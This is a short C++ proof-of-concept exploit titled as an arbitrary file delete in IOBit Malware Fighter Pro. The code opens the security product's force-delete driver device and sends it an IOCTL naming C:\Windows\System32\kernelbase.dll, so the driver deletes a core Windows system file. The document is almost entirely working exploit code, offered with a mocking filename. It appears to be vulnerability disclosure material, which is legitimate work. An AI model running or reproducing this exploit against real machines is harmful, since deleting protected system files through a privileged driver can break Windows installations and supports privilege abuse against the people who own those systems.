Arbitrary File Delete in IOBit Malware Fighter "Pro"

IOBitStillSucks.cpp

#include <Windows.h>
#include <stdio.h>

const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";

int main() {
	DWORD dwReturnVal = 0;
	DWORD dwBytesReturned = 0;
	BOOL bRes = FALSE;


	HANDLE hDevice = CreateFileA(
		strDeviceName, 
		GENERIC_READ | GENERIC_WRITE, 
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	puts("Opened handle to device");

	if (!hDevice || hDevice == INVALID_HANDLE_VALUE){ // lol I forgot which one it is oh well
		return GetLastError();
	}

	bRes = DeviceIoControl(
		hDevice,
		0x8016E000,
		(LPVOID)wstrDummyFile,
		lstrlenW(wstrDummyFile) * sizeof(wchar_t),
		&dwReturnVal,
		sizeof(DWORD),
		&dwBytesReturned,
		NULL
	);
	
	if (!(bRes && dwReturnVal)) {
		puts("Delete failed");
		CloseHandle(hDevice);
		return GetLastError();
	}

	puts("Deleted target");
	return 0;
}